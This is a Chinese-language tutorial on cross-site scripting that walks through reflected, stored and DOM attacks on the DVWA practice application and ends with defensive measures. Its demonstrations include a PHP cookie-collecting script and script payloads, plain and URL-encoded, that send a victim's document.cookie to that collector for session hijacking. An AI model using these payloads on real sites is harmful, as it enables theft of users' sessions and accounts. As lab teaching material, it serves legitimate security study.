XSS漏洞
一、XSS漏洞
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意JavaScript代码,当用户浏览该页面时,嵌入Web里面的JavaScript代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!
XSS是指恶意攻击者利用网站没有对用户提交的数据进行转义处理或者过滤不足的缺点,进而添加一些恶意代码,嵌入到web页面中去.使得别的用户访问都会执行相应的嵌入代码. 从而盗取用户资料,利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
与其他攻击方式有所区别的是大部分的攻击针对的是服务器进行攻击,而XSS攻击的是客户机,从而间接方式去侵害公司或者用户的利益,通常情况下XSS攻击是通过页面挂木马的情况下,对服务器并没有直接的攻击效果,但是用户去浏览页面时就会直接或者间接的方式损害其利益。
二、XSS漏洞的成因和分类
XSS的漏洞类型主要分为三类:反射型、存储型、DOM型
2.1 漏洞成因
XSS的漏洞主要成因是后端接收参数时未经过滤,导致参数改变了HTML的结构,如下图所示
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>结果展示</title> </head> <body> <div> 搜索(dev</div><script>alert(helloworld</script>)内容 </div> </body> </html>
上述案例中,看到攻击者的参数被原样放到了HTML代码当中,导致原本页面的结构改变,当代码被浏览器执行之后,将执行alert事件。
2.2 反射型xss
2.2.1. 反射型xss原理
反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。

2.2.2. 反射型xss攻击演示01
实例:如下图所示,以DVWA演示,先调整练习的难度等级

难度等级如下:
- Low:这个安全级别是完全脆弱的,没有任何安全措施。它的用途是作为一个例子,说明web应用程序的漏洞是如何通过不良的编码实践表现出来的,并作为一个平台来教授或学习基本的利用技术。
- Medium:这个设置主要是给用户提供一个糟糕的安全实践的例子,在这种情况下,开发人员已经尝试过保护应用程序,但失败了。它还对用户提出了挑战,以改进他们的开发技术。
- High:这个选项是中等难度的扩展,混合了更困难或可选的不良实践来尝试保护代码。漏洞可能不允许相同程度的利用,类似于各种捕获标志(CTFs)竞赛。
- Impossible:这个级别应该是安全的,可以防止所有的漏洞。它用于比较易受攻击的源代码和安全的源代码。
反射性xss攻击,

上面的代码采用get方式传入了name参数,没有做任何的过滤与检查,存在明显的XSS漏洞,输入一个简单的语句测试一下:
<script>alert(1)</script>
执行结果如下:

在图中可以看到,此处原本是输入一个名字,单实际传递了一个script标签,此标签也被原样放到了HTML结构当中,结果script标签代码中的代码被触发
结论:成功弹窗,说明存在XSS漏洞并且可利用。
2.2.2. 反射型xss攻击演示02
反射型XSS攻击者需要通过诱使用户点击包含XSS攻击代码的恶意链接,然后用户浏览器执行恶意代码触发XSS漏洞。尝试一下直接获取cookie,输入代码如下:
<script>alert(document.cookie)</script>
如下图所示获取cookie

编写一个cookie.php文档用于获取页面的cookie,放置在一个指定的目录下(可以尝试放在网站的根目录之外的路径下看是否有效)浏览器访问:http://127.0.0.1/cookie.php 文档内容如下:
<?php $cookie = $_GET["cookie"]; file_put_contents("cookie.txt",$cookie); ?>
如下图:

方式一:接着编写 js 代码(利用本地的cookie.php这个文件获取cookie)将页面的cookie发送到cookie.php中,如下:
<script>document.location="http://127.0.0.1/cookie.php?cookie="+document.cookie;</script>
执行上面的代码,点击submit后,会调整到新的页面地址,点击访问即可

方式二:对上面的编写的JS代码进行URL转码,之后执行访问:
http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%22http%3A%2F%2F127.0.0.1%2Fcookie.php%3Fcookie%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E#
上面的编码内容说明如下:
- http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name= : 是我们自己搭建的dvwa的XSS(Reflected)的路径。
- %3Cscript%3Edocument.location%3D%22http%3A%2F%2F127.0.0.1%2Fcookie.php%3Fcookie%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E# :是我们构造的JS代码 <script>document.location="http://127.0.0.1/dvwa/cookie.php?cookie="+document.cookie;</script>,进行了url编码后的内容,编码网站如下:https://tool.ip138.com/urlencode/。
- 访问上面的地址网址,可以根据方式一同样获取到cookie生成到cookie.txt中
- 在实际中会将此url变换成短链接并放置到公网(或目标服务器)中,等待目标用户点击此链接,一旦目标用户点击,那么攻击者就可以获取他的cookie并将cookie保存到攻击者服务器指定路径下的cookie.txt中。
在phpstudy的www目录中查看代码:

打开查看已经获取到了cookie

获取到cookie后打开另外一个浏览器访问dvwa(此浏览器用别的账号登陆过DVWA,所以浏览器有对应的cookie格式)(因为本地搭建原因,除非重新打开浏览器,否则cookie不能正常刷新,所以直接打开另一个浏览器方便一些),f12打开开发者工具,找到cookie值。然后F12搜索cookie关键字并将cookie值修改为获取到的cookie值

查看访问主页 http://127.0.0.1/DVWA-master/index.php,即可免密登录,并且会显示登录的用户名和级别

2.3 存储型XSS
2.3.1. 存储型XSS说明
存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie
存储型XSS攻击,攻击者将恶意代码上传或储存到漏洞的服务器中,存储型xss和反射性的区别就在于能存储在目标网站的服务器里。但凡受害者浏览包含此恶意代码的页面都会执行恶意代码。表示只要访问了被攻击网站就会成为攻击者的目标,都有可能执行攻击者写入的恶意脚本,而且存储型XSS的代码存在于网页的服务器中,只要不被删除就可以说是永久型的。一般这种漏洞都是出现在网站留言、评论、博客日志等交互处等可以将恶意脚本存储到客户端或者服务端的数据库中的地方

在上图中并没有在URL地址当中看到script代码,但是攻击代码依然被触发,说明攻击代码来自于服务器,而这个攻击代码确实是由攻击者传递到服务器当中去的。
一般情况下,当攻击者将攻击代码通过表单传递到服务器当中去,会得到一个新页面的地址,这个地址中URL并没有明显异常,比如如下URL地址
2.3.2. 存储型XSS案例说明
在留言板提交我们的的恶意留言,用来获取cookie。提交
<script>alert(document.cookie)</script>
如下图所示:

查看数据库,上面操作的恶意代码已经被存储到了MySQL数据库中

再次访问页面,由于攻击的代码成功被存储。以后只要没有被清除该数据,只要是浏览这个页面就会被获取cookie。如下图:

后面也可以通过经过技术手段将cookie传送到自己的邮箱且将提示页面隐藏,从而达到悄无声息的攻击
2.4.DOM型XSS
XSS(DOM)是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的,所以它一直被划分第三种XSS与前两种XSS相比,它最大的特点就是不与后台服务器交互,只是通过浏览器的DOM树解析产生除了js,flash等脚本语言也有可能存在XSS漏洞。

尝试以下从url进行注入,拼接如下内容,获取cookie
<script>alert(document.cookie)</script>
最终访问链接如下:
http://127.0.0.1/DVWA-master/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>
如下图所示:

三、XSS漏洞的防护
跨站脚本攻击(XSS)是一种常见的安全漏洞,攻击者利用该漏洞向用户的浏览器中注入恶意脚本代码。这些恶意脚本代码可以窃取用户的敏感信息、欺骗用户点击链接、篡改网站内容等。以下是一些防护XSS漏洞的方法:
- 输入检查和过滤:对于所有的输入数据(包括表单提交、URL参数、Cookie等),进行检查和过滤,过滤掉恶意脚本代码。可以采用一些现成的开源库,如ESAPI、HTML Purifier等。
- 输出编码:将所有输出的数据进行编码,以防止恶意脚本代码的执行。对于HTML页面,可以使用一些编码函数,如htmlspecialchars()、htmlentities()等。
- 设置HTTP头信息:设置HTTP头信息中的Content-Security-Policy(CSP)字段,限制网站的资源加载。例如,可以设置只允许加载来自特定域名的JavaScript代码、CSS样式表等。
- 使用 HttpOnly Cookie,将重要的cookie标记为httponly,这样的话当浏览器向Web服务器发起请求的时就会带上cookie字段,但是在js脚本中却不能访问这个cookie,这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie
- 避免使用eval()等危险函数:避免使用eval()、setTimeout()、setInterval()等具有执行恶意脚本代码风险的函数。
- 加密敏感数据:对于敏感数据(如密码、信用卡号等),应该使用加密算法进行加密,以避免被窃取。
- 及时更新:定期更新软件、操作系统、数据库等,以修补已知的漏洞。
以上是一些常用的防护XSS漏洞的方法。但是,XSS攻击的方式多种多样,攻击者也在不断地改进攻击方法。因此,保持警惕和更新最新的防护措施也非常重要。

浙公网安备 33010602011771号